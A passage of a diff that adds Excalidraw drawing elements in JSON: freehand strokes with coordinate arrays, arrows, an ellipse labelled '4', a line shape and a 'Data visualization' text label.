], + [ + 7.661970971559554, + 4.3098609549496025 + ], + [ + 7.661970971559554, + 3.8310037533594574 + ], + [ + 7.661970971559554, + 4.3098609549496025 + ], + [ + 7.661970971559554, + 5.746478228669604 + ], + [ + 7.661970971559554, + 8.14084644072938 + ], + [ + 7.661970971559554, + 9.577472848239221 + ], + [ + 7.661970971559554, + 10.535214652789156 + ], + [ + 7.661970971559554, + 11.014108389538908 + ], + [ + 7.661970971559554, + 11.971841060298999 + ], + [ + 7.661970971559554, + 11.971841060298999 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1395, + "versionNonce": 1163857120, + "index": "c1tId", + "isDeleted": false, + "id": "QJJ4PemkgSaFju-FNmx81", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 20, + "angle": 0, + "x": 3763.373215760639, + "y": -1439.109044041773, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 12.929573731058964, + "height": 33.52114583504749, + "seed": 2124122808, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 1.4366355412996825 + ], + [ + 0.47886633538010775, + 3.8310037533594565 + ], + [ + 1.436599006140323, + 6.7042291670094984 + ], + [ + 1.9155018766797907, + 9.098597379069274 + ], + [ + 1.9155018766797907, + 12.45071652946894 + ], + [ + 1.9155018766797907, + 16.760568350628702 + ], + [ + 0, + 20.591572103988277 + ], + [ + -0.957769205919575, + 23.46480665142816 + ], + [ + -1.9155018766795424, + 26.81692580182783 + ], + [ + -1.9155018766795424, + 27.29579213720794 + ], + [ + -1.9155018766795424, + 28.25354307554771 + ], + [ + -1.9155018766795424, + 29.69016034926771 + ], + [ + -1.9155018766795424, + 30.1690449522275 + ], + [ + -1.4366355412996827, + 30.1690449522275 + ], + [ + -0.47886633537985984, + 29.69016034926771 + ], + [ + 0.9577326707602155, + 28.732409410927815 + ], + [ + 1.9155018766797907, + 28.732409410927815 + ], + [ + 2.3943682120598986, + 28.732409410927815 + ], + [ + 2.873234547440006, + 28.732409410927815 + ], + [ + 3.352100882820114, + 28.732409410927815 + ], + [ + 3.8309672182002217, + 28.732409410927815 + ], + [ + 4.3098700887396895, + 28.732409410927815 + ], + [ + 4.788736424119797, + 28.732409410927815 + ], + [ + 5.267602759499905, + 28.25354307554771 + ], + [ + 5.746469094879764, + 28.25354307554771 + ], + [ + 7.183104636179448, + 28.25354307554771 + ], + [ + 7.661970971559554, + 27.774676740167727 + ], + [ + 8.140837306939664, + 27.774676740167727 + ], + [ + 8.140837306939664, + 27.29579213720794 + ], + [ + 9.098606512859236, + 25.859174863487937 + ], + [ + 9.577472848239346, + 21.54930477474837 + ], + [ + 9.577472848239346, + 17.23945295358861 + ], + [ + 9.577472848239346, + 14.366200138568924 + ], + [ + 9.577472848239346, + 11.971831926509152 + ], + [ + 10.056339183619453, + 6.7042291670094984 + ], + [ + 10.53520551899956, + 4.3098609549496 + ], + [ + 10.53520551899956, + 2.8732345474398815 + ], + [ + 11.014071854379422, + -0.47887546916994744 + ], + [ + 11.014071854379422, + -0.9577326707600914 + ], + [ + 11.014071854379422, + -1.4366264075098427 + ], + [ + 11.014071854379422, + -1.9155018766797898 + ], + [ + 11.014071854379422, + -2.394368212059774 + ], + [ + 11.014071854379422, + -2.873243681229721 + ], + [ + 11.014071854379422, + -3.352100882819989 + ], + [ + 10.056339183619453, + -2.873243681229721 + ], + [ + 8.140837306939664, + -2.873243681229721 + ], + [ + 7.661970971559554, + -2.873243681229721 + ], + [ + 7.661970971559554, + -2.873243681229721 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1356, + "versionNonce": 1672114400, + "index": "c1tIl", + "isDeleted": false, + "id": "DqntRyqh9GnA5C-vJv2Vt", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 20, + "angle": 0, + "x": 3806.4718435777154, + "y": -1479.3344281776194, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 10.535205518999312, + "height": 2.3943682120597742, + "seed": 1229550520, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.47887546916994767 + ], + [ + 0.4788663353801077, + -0.47887546916994767 + ], + [ + 1.4365990061400753, + -0.47887546916994767 + ], + [ + 4.788736424119548, + -1.436608139930039 + ], + [ + 6.2253354302596255, + -1.436608139930039 + ], + [ + 9.098606512858987, + -2.3943682120597742 + ], + [ + 10.056339183619205, + -2.3943682120597742 + ], + [ + 10.535205518999312, + -2.3943682120597742 + ], + [ + 10.535205518999312, + -2.3943682120597742 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1384, + "versionNonce": 1793676512, + "index": "c1tIt", + "isDeleted": false, + "id": "levEAIdsOtcm_gG8of-Hi", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 30, + "angle": 0, + "x": 3727.9365589151193, + "y": -1464.9682189052573, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 7.183104636179448, + "height": 13.88733380318882, + "seed": 944913592, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -0.47886633538010787, + 0 + ], + [ + -0.9577326707602157, + 0.9577600721297351 + ], + [ + -1.915501876679791, + 1.4366172737198788 + ], + [ + -2.394368212059899, + 3.8309854857796535 + ], + [ + -2.8732345474400063, + 5.746496496249284 + ], + [ + -2.8732345474400063, + 6.7042291670095 + ], + [ + -2.8732345474400063, + 7.183095502389484 + ], + [ + -2.8732345474400063, + 9.098597379069275 + ], + [ + -2.8732345474400063, + 10.535232920368957 + ], + [ + -2.8732345474400063, + 11.014090121959102 + ], + [ + -2.8732345474400063, + 11.971831926509157 + ], + [ + -2.8732345474400063, + 13.408458334019 + ], + [ + -2.394368212059899, + 13.88733380318882 + ], + [ + -1.436635541299683, + 13.88733380318882 + ], + [ + -0.47886633538010787, + 13.88733380318882 + ], + [ + 0.47886633538010787, + 13.88733380318882 + ], + [ + 1.915501876679791, + 13.88733380318882 + ], + [ + 2.873234547439758, + 13.88733380318882 + ], + [ + 3.352100882819867, + 13.88733380318882 + ], + [ + 3.831003753359334, + 13.88733380318882 + ], + [ + 4.309870088739442, + 12.929601132428733 + ], + [ + 4.309870088739442, + 12.450707395679103 + ], + [ + 4.309870088739442, + 11.492965591129048 + ], + [ + 4.309870088739442, + 10.056339183619205 + ], + [ + 4.309870088739442, + 8.619721909899326 + ], + [ + 4.309870088739442, + 7.183095502389484 + ], + [ + 4.309870088739442, + 6.225353697839552 + ], + [ + 3.831003753359334, + 5.746496496249284 + ], + [ + 3.831003753359334, + 5.267602759499656 + ], + [ + 3.831003753359334, + 4.7887272903297085 + ], + [ + 3.831003753359334, + 3.3521282841895093 + ], + [ + 3.831003753359334, + 2.3943682120597742 + ], + [ + 3.831003753359334, + 1.9154927428898267 + ], + [ + 3.831003753359334, + 1.4366172737198788 + ], + [ + 3.831003753359334, + 1.9154927428898267 + ], + [ + 0, + 0 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1391, + "versionNonce": 1890302176, + "index": "c1tJ", + "isDeleted": false, + "id": "Xisspb3fxkwSy_9I5MOGu", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 30, + "angle": 0, + "x": 3762.4154465547135, + "y": -1442.9400386613443, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 12.450743930838712, + "height": 34.00002130421732, + "seed": 1029301688, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0.4789028705397152, + 0.9577509383398954 + ], + [ + 0.957769205919575, + 3.830994619569617 + ], + [ + 1.4366355412996827, + 7.661998372929074 + ], + [ + 1.9155018766797907, + 10.056366584988975 + ], + [ + 1.9155018766797907, + 14.36620927235877 + ], + [ + 1.9155018766797907, + 19.15494569647844 + ], + [ + 1.9155018766797907, + 22.028198511498005 + ], + [ + 1.4366355412996827, + 23.464815785218004 + ], + [ + 1.4366355412996827, + 24.422566723557907 + ], + [ + 1.4366355412996827, + 25.38029939431799 + ], + [ + 1.4366355412996827, + 26.816934935617677 + ], + [ + 1.4366355412996827, + 27.77466760637777 + ], + [ + 1.4366355412996827, + 28.253552209337556 + ], + [ + 1.9155018766797907, + 28.253552209337556 + ], + [ + 2.8732710825993655, + 28.732418544717667 + ], + [ + 4.788736424119797, + 29.69016948305756 + ], + [ + 6.22537196541948, + 30.169035818437667 + ], + [ + 8.140873842099023, + 31.605671359737343 + ], + [ + 9.577472848239346, + 32.563404030497445 + ], + [ + 11.492974724919137, + 32.563404030497445 + ], + [ + 11.971841060298996, + 32.563404030497445 + ], + [ + 12.450743930838712, + 32.084537695117334 + ], + [ + 12.450743930838712, + 31.126786756777562 + ], + [ + 12.450743930838712, + 30.169035818437667 + ], + [ + 12.450743930838712, + 27.295801270997785 + ], + [ + 12.450743930838712, + 25.38029939431799 + ], + [ + 12.450743930838712, + 23.94368212059812 + ], + [ + 12.450743930838712, + 20.59156297019832 + ], + [ + 11.971841060298996, + 18.197194758138547 + ], + [ + 11.971841060298996, + 15.323960210698663 + ], + [ + 11.492974724919137, + 11.492965591129048 + ], + [ + 11.492974724919137, + 8.619731043689288 + ], + [ + 11.492974724919137, + 6.225362831629392 + ], + [ + 11.492974724919137, + 4.309860954949601 + ], + [ + 11.492974724919137, + 3.35211915039967 + ], + [ + 11.492974724919137, + 2.873261948809526 + ], + [ + 11.492974724919137, + 1.915492742889827 + ], + [ + 11.492974724919137, + 0.9577509383398954 + ], + [ + 11.492974724919137, + 0.47889373674962743 + ], + [ + 11.492974724919137, + 0 + ], + [ + 11.492974724919137, + -0.4788754691699477 + ], + [ + 11.492974724919137, + -0.9577418045500555 + ], + [ + 11.492974724919137, + -1.4366172737198788 + ], + [ + 11.492974724919137, + -1.4366172737198788 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1413, + "versionNonce": 1484889312, + "index": "c1tJ8", + "isDeleted": false, + "id": "rkhlkyP21-yclnM0o1pX1", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 30, + "angle": 0, + "x": 3832.80989391037, + "y": -1421.3907247528014, + "strokeColor": "#a61e4d", + "backgroundColor": "transparent", + "width": 15.802808278498972, + "height": 62.73245811651492, + "seed": 1971613368, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0.47886633538010775, + 0.4788846029597875 + ], + [ + 1.4365990061400753, + 2.873252815019686 + ], + [ + 1.9155018766797907, + 3.830985485779777 + ], + [ + 1.9155018766797907, + 5.267621027079461 + ], + [ + 2.8732345474397576, + 9.098606512859236 + ], + [ + 3.3521008828198666, + 14.845093875318682 + ], + [ + 3.3521008828198666, + 19.633830299438355 + ], + [ + 3.3521008828198666, + 23.464815785218008 + ], + [ + 3.3521008828198666, + 27.774667606377893 + ], + [ + 3.3521008828198666, + 30.64792042139746 + ], + [ + 3.3521008828198666, + 33.042288633457225 + ], + [ + 3.3521008828198666, + 34.95777224255734 + ], + [ + 3.3521008828198666, + 38.7887759959168 + ], + [ + 3.3521008828198666, + 42.61976148169657 + ], + [ + 2.3943682120598986, + 47.88736424119623 + ], + [ + 1.9155018766797907, + 50.281732453256005 + ], + [ + 1.9155018766797907, + 53.15498526827557 + ], + [ + 0.9577326707602155, + 56.02821981571547 + ], + [ + 0.9577326707602155, + 57.943721692395236 + ], + [ + 0.47886633538010775, + 58.90145436315533 + ], + [ + 0.47886633538010775, + 59.85920530149523 + ], + [ + 0.47886633538010775, + 60.81695623983512 + ], + [ + 0.47886633538010775, + 61.774707178175014 + ], + [ + 0.47886633538010775, + 62.253573513555 + ], + [ + 0.47886633538010775, + 62.73245811651492 + ], + [ + 0.47886633538010775, + 62.253573513555 + ], + [ + 0.47886633538010775, + 58.90145436315533 + ], + [ + 0.47886633538010775, + 52.19723432993567 + ], + [ + 0.9577326707602155, + 48.84511517953613 + ], + [ + 2.3943682120598986, + 34.47890590717723 + ], + [ + 2.3943682120598986, + 28.73241854471779 + ], + [ + 2.3943682120598986, + 24.422566723557903 + ], + [ + 2.8732345474397576, + 21.070447573158237 + ], + [ + 2.8732345474397576, + 19.154945696478443 + ], + [ + 4.309870088739441, + 15.323960210698788 + ], + [ + 6.2253354302596255, + 10.056357451199133 + ], + [ + 9.09860651285899, + 5.267621027079461 + ], + [ + 10.535205518999312, + 3.3521191503997936 + ], + [ + 11.014071854379422, + 3.3521191503997936 + ], + [ + 11.492974724918888, + 3.3521191503997936 + ], + [ + 13.887342936978786, + 8.61972190989945 + ], + [ + 14.845075607739004, + 14.845093875318682 + ], + [ + 15.323941943118863, + 20.112696634818338 + ], + [ + 15.323941943118863, + 24.422566723557903 + ], + [ + 15.802808278498972, + 29.211303147677572 + ], + [ + 15.802808278498972, + 34.00003957179712 + ], + [ + 15.802808278498972, + 37.8310250575769 + ], + [ + 15.802808278498972, + 40.704259605016794 + ], + [ + 15.323941943118863, + 44.05637875541645 + ], + [ + 15.323941943118863, + 45.97188063209612 + ], + [ + 14.845075607739004, + 48.36624884415602 + ], + [ + 13.887342936978786, + 49.8028661178759 + ], + [ + 13.887342936978786, + 50.281732453256005 + ], + [ + 13.887342936978786, + 51.71834972697589 + ], + [ + 13.408440066439319, + 52.67610066531578 + ], + [ + 13.408440066439319, + 54.59160254199557 + ], + [ + 12.929573731059213, + 55.54935348033547 + ], + [ + 12.929573731059213, + 56.507086151095564 + ], + [ + 12.450707395679103, + 57.943721692395236 + ], + [ + 11.971841060298996, + 59.380338966115126 + ], + [ + 11.971841060298996, + 60.81695623983512 + ], + [ + 11.971841060298996, + 61.774707178175014 + ], + [ + 11.971841060298996, + 62.253573513555 + ], + [ + 11.971841060298996, + 61.774707178175014 + ], + [ + 11.492974724918888, + 61.29582257521523 + ], + [ + 11.492974724918888, + 61.29582257521523 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1384, + "versionNonce": 335216864, + "index": "c1tJG", + "isDeleted": false, + "id": "dw6v6RhbKG_cOZNmwWMjd", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 30, + "angle": 0, + "x": 3762.4154465547135, + "y": -1404.4912361054803, + "strokeColor": "#2b8a3e", + "backgroundColor": "transparent", + "width": 10.535242054158921, + "height": 45.971862364516326, + "seed": 964024248, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 1.4366172737198792 + ], + [ + 0, + 4.3098518211597625 + ], + [ + 0.4789028705397152, + 8.140855574519218 + ], + [ + 0.4789028705397152, + 14.845075607738877 + ], + [ + 0.957769205919575, + 19.633812031858557 + ], + [ + 0.957769205919575, + 25.380299394318 + ], + [ + 0.957769205919575, + 29.690169483057566 + ], + [ + 0.957769205919575, + 33.521154968837216 + ], + [ + 0.957769205919575, + 36.87327411923701 + ], + [ + 0.4789028705397152, + 39.74650866667677 + ], + [ + 0.4789028705397152, + 41.662010543356566 + ], + [ + 0, + 44.05637875541646 + ], + [ + 0, + 45.014111426176555 + ], + [ + 0, + 45.971862364516326 + ], + [ + 0.4789028705397152, + 45.971862364516326 + ], + [ + 2.8732710825993655, + 44.53524509079644 + ], + [ + 4.788736424119797, + 42.14087687873667 + ], + [ + 6.70423830079934, + 39.74650866667677 + ], + [ + 7.662007506719163, + 35.91552318089712 + ], + [ + 8.61974017747913, + 33.521154968837216 + ], + [ + 9.098606512859236, + 28.253533941757883 + ], + [ + 9.098606512859236, + 23.464797517638207 + ], + [ + 9.098606512859236, + 20.59156297019833 + ], + [ + 9.098606512859236, + 18.67606109351866 + ], + [ + 9.098606512859236, + 18.19719475813855 + ], + [ + 9.098606512859236, + 16.760577484418672 + ], + [ + 9.098606512859236, + 14.366209272358772 + ], + [ + 9.098606512859236, + 9.098588245279435 + ], + [ + 9.098606512859236, + 6.225353697839552 + ], + [ + 9.577472848239346, + 4.788736424119549 + ], + [ + 9.577472848239346, + 4.3098518211597625 + ], + [ + 10.056375718778812, + 3.8309854857797783 + ], + [ + 10.056375718778812, + 2.3943682120597747 + ], + [ + 10.535242054158921, + 0.47886633537998385 + ], + [ + 10.535242054158921, + 0 + ], + [ + 10.535242054158921, + 0 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1358, + "versionNonce": 1655170272, + "index": "c1tJV", + "isDeleted": false, + "id": "sLJ0v8Ykcar4BkNZKTYCH", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 30, + "angle": 0, + "x": 3805.992977242332, + "y": -1471.672457206063, + "strokeColor": "#2b8a3e", + "backgroundColor": "transparent", + "width": 8.619703642319521, + "height": 116.84517605555047, + "seed": 760357048, + "groupIds": [ + "WiDGwzrD-zSyqiQooC-2P", + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 0.4788937367496275 + ], + [ + 0.4788663353801077, + 1.4366264075097188 + ], + [ + 1.436599006140323, + 2.8732619488094024 + ], + [ + 1.915465341520183, + 5.746487362459444 + ], + [ + 2.3943682120598986, + 9.098606512859114 + ], + [ + 2.3943682120598986, + 13.88733380318882 + ], + [ + 2.873234547440006, + 23.46480665142817 + ], + [ + 3.8309672181999734, + 27.295801270997785 + ], + [ + 4.309833553580082, + 39.746517800466734 + ], + [ + 4.309833553580082, + 50.76061705621567 + ], + [ + 4.309833553580082, + 61.77470717817489 + ], + [ + 4.309833553580082, + 69.91556275269424 + ], + [ + 4.309833553580082, + 75.66203184757387 + ], + [ + 4.309833553580082, + 82.36627014837333 + ], + [ + 4.309833553580082, + 87.15500657249288 + ], + [ + 4.309833553580082, + 89.54937478455268 + ], + [ + 4.309833553580082, + 94.33811120867232 + ], + [ + 4.309833553580082, + 99.12684763279199 + ], + [ + 4.309833553580082, + 102.00008218023177 + ], + [ + 4.309833553580082, + 104.87333499525147 + ], + [ + 4.309833553580082, + 106.78881860435143 + ], + [ + 4.309833553580082, + 109.662071419371 + ], + [ + 4.309833553580082, + 111.098688693091 + ], + [ + 4.309833553580082, + 112.53530596681087 + ], + [ + 4.309833553580082, + 113.49305690515077 + ], + [ + 4.309833553580082, + 113.97192324053088 + ], + [ + 4.309833553580082, + 114.92967417887066 + ], + [ + 4.309833553580082, + 115.40855878183056 + ], + [ + 4.309833553580082, + 116.84517605555047 + ], + [ + 4.309833553580082, + 116.36629145259064 + ], + [ + 4.309833553580082, + 115.40855878183056 + ], + [ + 4.309833553580082, + 113.0141905697708 + ], + [ + 4.788736424119548, + 109.662071419371 + ], + [ + 5.746469094879763, + 103.91558405691156 + ], + [ + 6.225335430259872, + 97.21134575611224 + ], + [ + 8.140837306939414, + 82.84513648375332 + ], + [ + 8.619703642319521, + 76.14091645053378 + ], + [ + 8.619703642319521, + 68.00006087601444 + ], + [ + 8.619703642319521, + 60.816956239835 + ], + [ + 7.661970971559554, + 51.239483391595776 + ], + [ + 6.7042017656397315, + 44.53524509079644 + ], + [ + 6.225335430259872, + 39.746517800466734 + ], + [ + 6.225335430259872, + 35.915523180897104 + ], + [ + 6.225335430259872, + 33.52115496883734 + ], + [ + 6.225335430259872, + 29.690169483057563 + ], + [ + 6.225335430259872, + 27.295801270997785 + ], + [ + 6.225335430259872, + 24.90143305893789 + ], + [ + 6.225335430259872, + 22.02820764528785 + ], + [ + 5.746469094879763, + 18.676070227308497 + ], + [ + 5.746469094879763, + 15.802835679868615 + ], + [ + 5.746469094879763, + 11.014099255749064 + ], + [ + 5.746469094879763, + 8.140855574519218 + ], + [ + 5.746469094879763, + 6.225362831629392 + ], + [ + 5.746469094879763, + 4.7887364241195485 + ], + [ + 6.225335430259872, + 4.309870088739441 + ], + [ + 6.225335430259872, + 3.35211915039967 + ], + [ + 6.225335430259872, + 2.8732619488094024 + ], + [ + 6.225335430259872, + 2.3943682120597742 + ], + [ + 6.225335430259872, + 2.3943682120597742 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "text", + "version": 1376, + "versionNonce": 303581408, + "index": "c1tJl", + "isDeleted": false, + "id": "hASVoKfx", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3685.4732273562554, + "y": -1311.7223727924766, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 196.07262770743063, + "height": 81.10180790362338, + "seed": 1354582456, + "groupIds": [ + "wI7s6pmuxgbTLUcwXnzfu", + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "fontSize": 32.440723161449355, + "fontFamily": 1, + "text": "Data\nvisualization", + "rawText": "Data\nvisualization", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Data\nvisualization", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "arrow", + "version": 695, + "versionNonce": 1037839584, + "index": "c1tK", + "isDeleted": false, + "id": "AM5ijafhWbvfTqpZzPSIH", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3305.2083385836104, + "y": -2005.3381174392916, + "strokeColor": "#2f9e44", + "backgroundColor": "#ffc9c9", + "width": 475.6097521446112, + "height": 517.6688609056032, + "seed": 249254584, + "groupIds": [ + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 305.10440404852136, + 79.09490347208373 + ], + [ + 475.6097521446112, + 517.6688609056032 + ] + ] + }, + { + "type": "arrow", + "version": 934, + "versionNonce": 239297824, + "index": "c1tKV", + "isDeleted": false, + "id": "N584RSbDu-c4VxSMSjBpb", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 4122.007129431049, + "y": -1341.7850828241858, + "strokeColor": "#2f9e44", + "backgroundColor": "#a5d8ff", + "width": 389.11595496327516, + "height": 404.11974235037883, + "seed": 1313881016, + "groupIds": [ + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453658, + "link": null, + "locked": false, + "startBinding": { + "elementId": "Dmb632VoxQw9w-99HXgGg", + "focus": -0.10408945857220772, + "gap": 21.563481384687606 + }, + "endBinding": { + "elementId": "UNBKYPr-01IsNQfJhRTS-", + "focus": -0.6975739667332225, + "gap": 3.347892719885749 + }, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 337.45741583091205, + 69.24292563223958 + ], + [ + 389.11595496327516, + 404.11974235037883 + ] + ] + }, + { + "type": "ellipse", + "version": 1458, + "versionNonce": 2124313824, + "index": "c1tL", + "isDeleted": false, + "id": "ngGtLU3WVAw_KAfa6n0R-", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 3501.3860249412746, + "y": -1967.793257307857, + "strokeColor": "#2f9e44", + "backgroundColor": "#b2f2bb", + "width": 127.45973387078428, + "height": 133.132176323629, + "seed": 20972728, + "groupIds": [ + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [ + { + "type": "text", + "id": "EWNFi7eZ" + } + ], + "updated": 1720441453360, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1330, + "versionNonce": 280811744, + "index": "c1tM", + "isDeleted": false, + "id": "EWNFi7eZ", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 3546.4152757585894, + "y": -1943.296501482323, + "strokeColor": "#2f9e44", + "backgroundColor": "#ffc9c9", + "width": 37.273590087890625, + "height": 72.8066589269846, + "seed": 894348728, + "groupIds": [ + "mw5zRqeNUE5ez2sW8TwCP" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453360, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "4", + "rawText": "4", + "textAlign": "center", + "verticalAlign": "top", + "containerId": "ngGtLU3WVAw_KAfa6n0R-", + "originalText": "4", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3101, + "versionNonce": 713737440, + "index": "c1u64", + "isDeleted": false, + "id": "AYrHuAEEznuckckL-wBGU", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": -2558.5815813229824, + "y": -1325.2110065104712, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 194.00672847531425, + "height": 188.22959593128286, + "seed": 1015318216, + "groupIds": [ + "p9gcGE0qjRY1HRnE11ifR", + "vTyHlsO9ZNebLWQdazELh", + "YTXzf-sv3vBFJDFDYNjs_" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441449921, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -28.07007060659883, + 13.22602230909382 + ], + [ + -29.433405577417503, + 14.042034000074787 + ], + [ + -30.50973707776192, + 14.841594543187682 + ], + [ + -31.401554606618735, + 15.641155086300849 + ], + [ + -32.41638144980054, + 16.717486586645116 + ], + [ + -33.400455964401104, + 18.009084387058536 + ], + [ + -34.107759521770305, + 19.392939173215424 + ], + [ + -34.50753979332681, + 20.68453697362883 + ], + [ + -34.798570357252174, + 22.143924491015525 + ], + [ + -44.38992835494049, + 62.85825949847427 + ], + [ + -51.083006525297066, + 92.81624283437137 + ], + [ + -51.53692808265423, + 94.38719443758458 + ], + [ + -51.716876861865615, + 96.06671637689128 + ], + [ + -51.74686832506755, + 97.59628100018833 + ], + [ + -51.59036110194916, + 99.04524792188943 + ], + [ + -51.32698784024086, + 100.30309635789195 + ], + [ + -51.03384890882377, + 101.17091196405212 + ], + [ + -50.58330299464812, + 102.38598659713784 + ], + [ + -49.7778077679305, + 103.75056398247568 + ], + [ + -48.93662514457945, + 104.91181733718473 + ], + [ + -1.107402758178182, + 164.19659023683633 + ], + [ + -0.28919043824261337, + 164.9625900184074 + ], + [ + 0.7405509166006823, + 165.6490842549694 + ], + [ + 1.7988961979674514, + 166.3355784915318 + ], + [ + 2.8858454058576513, + 166.85044916895322 + ], + [ + 4.030002466794571, + 167.25090414028153 + ], + [ + 5.288575233825412, + 167.53694340551556 + ], + [ + 6.632959780426432, + 167.6799630381327 + ], + [ + 7.884604820806246, + 167.72502093286192 + ], + [ + 83.4317056109013, + 167.7040892289516 + ], + [ + 84.87718990442822, + 167.53880603144432 + ], + [ + 86.26692955718838, + 167.22184786502524 + ], + [ + 87.68105060736536, + 166.85612690377266 + ], + [ + 88.90012047820761, + 166.1734477761011 + ], + [ + 90.11919034904989, + 165.368861661345 + ], + [ + 91.31387882247512, + 164.44236855950498 + ], + [ + 92.21599052689842, + 163.4914940602484 + ], + [ + 93.06354226736536, + 162.42170658718848 + ], + [ + 140.47038540168262, + 103.45612933546985 + ], + [ + 141.14214939819735, + 102.24595591490657 + ], + [ + 